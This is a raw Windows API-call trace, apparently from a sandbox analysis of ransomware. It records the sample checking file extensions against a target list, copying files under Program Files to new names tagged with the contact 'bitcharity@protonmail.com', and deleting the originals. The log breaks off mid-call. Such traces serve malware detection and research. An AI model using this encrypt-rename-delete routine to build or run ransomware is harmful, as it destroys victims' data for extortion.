[0144.613] lstrlenW (lpString=".1cd") returned 4 [0144.613] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0144.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 67 [0144.613] lstrlenW (lpString=".jpg") returned 4 [0144.613] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0144.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 67 [0144.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 67 [0144.613] lstrlenW (lpString=".doc") returned 4 [0144.613] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0144.613] lstrlenW (lpString=".docx") returned 5 [0144.613] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0144.613] lstrlenW (lpString=".pdf") returned 4 [0144.613] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0144.613] lstrlenW (lpString=".xls") returned 4 [0144.613] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0144.613] lstrlenW (lpString=".xlsx") returned 5 [0144.613] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0144.614] lstrlenW (lpString=".ppt") returned 4 [0144.614] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0144.614] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 67 [0144.614] lstrlenW (lpString=".zip") returned 4 [0144.614] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0144.614] lstrlenW (lpString=".rar") returned 4 [0144.614] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0144.614] lstrlenW (lpString=".bz2") returned 4 [0144.614] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0144.614] lstrlenW (lpString=".7z") returned 3 [0144.614] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0144.614] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 67 [0144.614] lstrlenW (lpString=".dbf") returned 4 [0144.614] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0144.614] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 67 [0144.614] lstrlenW (lpString=".1cd") returned 4 [0144.614] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0144.614] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 67 [0144.614] lstrlenW (lpString=".jpg") returned 4 [0144.614] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0144.614] lstrcmpiW (lpString1=".inc", lpString2=".com") returned 1 [0144.614] lstrlenW (lpString="adcvbs.inc") returned 10 [0144.615] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0144.657] GetFileSizeEx (in: hFile=0x1098, lpFileSize=0x320ff14 | out: lpFileSize=0x320ff14*=623) returned 1 [0144.657] CloseHandle (hObject=0x1098) returned 1 [0144.657] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc")) returned 0x20 [0144.657] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0144.670] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0144.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0144.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0144.670] lstrlenW (lpString=".doc") returned 4 [0144.670] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0144.670] lstrlenW (lpString=".docx") returned 5 [0144.670] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0144.670] lstrlenW (lpString=".pdf") returned 4 [0144.670] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0144.670] lstrlenW (lpString=".xls") returned 4 [0144.670] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0144.670] lstrlenW (lpString=".xlsx") returned 5 [0144.670] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0144.670] lstrlenW (lpString=".ppt") returned 4 [0144.670] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0144.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0144.671] lstrlenW (lpString=".zip") returned 4 [0144.671] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0144.671] lstrlenW (lpString=".rar") returned 4 [0144.671] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0144.671] lstrlenW (lpString=".bz2") returned 4 [0144.671] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0144.671] lstrlenW (lpString=".7z") returned 3 [0144.671] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0144.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0144.671] lstrlenW (lpString=".dbf") returned 4 [0144.671] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0144.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0144.671] lstrlenW (lpString=".1cd") returned 4 [0144.671] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0144.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0144.671] lstrlenW (lpString=".jpg") returned 4 [0144.671] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0144.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0144.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0144.671] lstrlenW (lpString=".doc") returned 4 [0144.671] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0144.671] lstrlenW (lpString=".docx") returned 5 [0144.671] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0144.671] lstrlenW (lpString=".pdf") returned 4 [0144.671] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0144.672] lstrlenW (lpString=".xls") returned 4 [0144.672] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0144.672] lstrlenW (lpString=".xlsx") returned 5 [0144.672] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0144.672] lstrlenW (lpString=".ppt") returned 4 [0144.672] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0144.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0144.672] lstrlenW (lpString=".zip") returned 4 [0144.672] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0144.672] lstrlenW (lpString=".rar") returned 4 [0144.672] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0144.672] lstrlenW (lpString=".bz2") returned 4 [0144.672] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0144.672] lstrlenW (lpString=".7z") returned 3 [0144.672] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0144.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0144.674] lstrlenW (lpString=".dbf") returned 4 [0144.674] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0144.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0144.674] lstrlenW (lpString=".1cd") returned 4 [0144.674] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0144.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0144.674] lstrlenW (lpString=".jpg") returned 4 [0144.674] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0144.674] lstrcmpiW (lpString1=".zip", lpString2=".com") returned 1 [0144.674] lstrlenW (lpString="ffjcext.zip") returned 11 [0144.674] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0144.748] GetFileSizeEx (in: hFile=0x10b8, lpFileSize=0x320ff14 | out: lpFileSize=0x320ff14*=14156) returned 1 [0144.748] CloseHandle (hObject=0x10b8) returned 1 [0144.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip")) returned 0x20 [0144.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0144.750] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0144.750] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.750] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.750] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0144.752] GetLastError () returned 0x0 [0144.752] ReadFile (in: hFile=0x108c, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x374c, lpOverlapped=0x0) returned 1 [0144.972] WriteFile (in: hFile=0x10d0, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x3750, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x3750, lpOverlapped=0x0) returned 1 [0144.973] ReadFile (in: hFile=0x108c, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0144.974] WriteFile (in: hFile=0x10d0, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xea, lpOverlapped=0x0) returned 1 [0144.974] SetEndOfFile (hFile=0x10d0) returned 1 [0144.974] CloseHandle (hObject=0x10d0) returned 1 [0144.975] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.975] SetEndOfFile (hFile=0x108c) returned 1 [0144.976] CloseHandle (hObject=0x108c) returned 1 [0144.976] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0144.977] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip")) returned 1 [0144.977] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57 [0144.977] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57 [0144.977] lstrlenW (lpString=".doc") returned 4 [0144.977] lstrcmpiW (lpString1=".doc", lpString2=".zip") returned -1 [0144.977] lstrlenW (lpString=".docx") returned 5 [0144.977] lstrcmpiW (lpString1=".docx", lpString2="t.zip") returned -1 [0144.977] lstrlenW (lpString=".pdf") returned 4 [0144.977] lstrcmpiW (lpString1=".pdf", lpString2=".zip") returned -1 [0144.977] lstrlenW (lpString=".xls") returned 4 [0144.977] lstrcmpiW (lpString1=".xls", lpString2=".zip") returned -1 [0144.977] lstrlenW (lpString=".xlsx") returned 5 [0144.977] lstrcmpiW (lpString1=".xlsx", lpString2="t.zip") returned -1 [0144.977] lstrlenW (lpString=".ppt") returned 4 [0144.977] lstrcmpiW (lpString1=".ppt", lpString2=".zip") returned -1 [0144.977] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57 [0144.977] lstrlenW (lpString=".zip") returned 4 [0144.977] lstrcmpiW (lpString1=".zip", lpString2=".zip") returned 0 [0144.978] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57 [0144.978] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57 [0144.978] lstrlenW (lpString=".doc") returned 4 [0144.978] lstrcmpiW (lpString1=".doc", lpString2=".zip") returned -1 [0144.978] lstrlenW (lpString=".docx") returned 5 [0144.978] lstrcmpiW (lpString1=".docx", lpString2="t.zip") returned -1 [0144.978] lstrlenW (lpString=".pdf") returned 4 [0144.978] lstrcmpiW (lpString1=".pdf", lpString2=".zip") returned -1 [0144.978] lstrlenW (lpString=".xls") returned 4 [0144.978] lstrcmpiW (lpString1=".xls", lpString2=".zip") returned -1 [0144.978] lstrlenW (lpString=".xlsx") returned 5 [0144.978] lstrcmpiW (lpString1=".xlsx", lpString2="t.zip") returned -1 [0144.978] lstrlenW (lpString=".ppt") returned 4 [0144.978] lstrcmpiW (lpString1=".ppt", lpString2=".zip") returned -1 [0144.978] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57 [0144.978] lstrlenW (lpString=".zip") returned 4 [0144.978] lstrcmpiW (lpString1=".zip", lpString2=".zip") returned 0 [0144.978] lstrcmpiW (lpString1=".gif", lpString2=".com") returned 1 [0144.978] lstrlenW (lpString="invalid32x32.gif") returned 16 [0144.978] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0144.979] GetFileSizeEx (in: hFile=0x108c, lpFileSize=0x320ff14 | out: lpFileSize=0x320ff14*=153) returned 1 [0144.979] CloseHandle (hObject=0x108c) returned 1 [0144.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif")) returned 0x20 [0144.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0144.980] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0144.980] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.980] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.980] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0144.980] GetLastError () returned 0x0 [0144.980] ReadFile (in: hFile=0x108c, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x99, lpOverlapped=0x0) returned 1 [0144.982] WriteFile (in: hFile=0x10d0, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xa0, lpOverlapped=0x0) returned 1 [0144.983] ReadFile (in: hFile=0x108c, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0144.983] WriteFile (in: hFile=0x10d0, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xf4, lpOverlapped=0x0) returned 1 [0144.983] SetEndOfFile (hFile=0x10d0) returned 1 [0144.983] CloseHandle (hObject=0x10d0) returned 1 [0144.984] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.984] SetEndOfFile (hFile=0x108c) returned 1 [0144.985] CloseHandle (hObject=0x108c) returned 1 [0144.985] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0144.985] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif")) returned 1 [0144.986] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0144.986] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0144.986] lstrlenW (lpString=".doc") returned 4 [0144.986] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0144.986] lstrlenW (lpString=".docx") returned 5 [0144.986] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0144.986] lstrlenW (lpString=".pdf") returned 4 [0144.986] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0144.986] lstrlenW (lpString=".xls") returned 4 [0144.986] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0144.986] lstrlenW (lpString=".xlsx") returned 5 [0144.986] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0144.986] lstrlenW (lpString=".ppt") returned 4 [0144.986] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0144.986] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0144.986] lstrlenW (lpString=".zip") returned 4 [0144.986] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0144.986] lstrlenW (lpString=".rar") returned 4 [0144.986] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0144.986] lstrlenW (lpString=".bz2") returned 4 [0144.986] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0144.986] lstrlenW (lpString=".7z") returned 3 [0144.986] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0144.986] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0144.986] lstrlenW (lpString=".dbf") returned 4 [0144.987] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0144.987] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0144.987] lstrlenW (lpString=".1cd") returned 4 [0144.987] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0144.987] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0144.987] lstrlenW (lpString=".jpg") returned 4 [0144.987] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0144.987] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0144.987] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0144.987] lstrlenW (lpString=".doc") returned 4 [0144.987] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0144.987] lstrlenW (lpString=".docx") returned 5 [0144.987] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0144.987] lstrlenW (lpString=".pdf") returned 4 [0144.987] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0144.987] lstrlenW (lpString=".xls") returned 4 [0144.987] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0144.987] lstrlenW (lpString=".xlsx") returned 5 [0144.987] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0144.987] lstrlenW (lpString=".ppt") returned 4 [0144.987] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0144.987] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0144.987] lstrlenW (lpString=".zip") returned 4 [0144.987] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0144.987] lstrlenW (lpString=".rar") returned 4 [0144.987] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0144.987] lstrlenW (lpString=".bz2") returned 4 [0144.988] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0144.988] lstrlenW (lpString=".7z") returned 3 [0144.988] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0144.988] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0144.988] lstrlenW (lpString=".dbf") returned 4 [0144.988] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0144.988] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0144.988] lstrlenW (lpString=".1cd") returned 4 [0144.988] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0144.988] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0144.988] lstrlenW (lpString=".jpg") returned 4 [0144.988] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0144.988] lstrcmpiW (lpString1=".gif", lpString2=".com") returned 1 [0144.988] lstrlenW (lpString="win32_CopyDrop32x32.gif") returned 23 [0144.988] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0145.052] GetFileSizeEx (in: hFile=0x10d8, lpFileSize=0x320ff14 | out: lpFileSize=0x320ff14*=165) returned 1 [0145.053] CloseHandle (hObject=0x10d8) returned 1 [0145.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif")) returned 0x20 [0145.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0145.054] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0145.054] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.054] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.054] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0145.056] GetLastError () returned 0x0 [0145.056] ReadFile (in: hFile=0x10d8, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0xa5, lpOverlapped=0x0) returned 1 [0145.057] WriteFile (in: hFile=0x10dc, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xb0, lpOverlapped=0x0) returned 1 [0145.058] ReadFile (in: hFile=0x10d8, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0145.058] WriteFile (in: hFile=0x10dc, lpBuffer=0x3bf2020*, 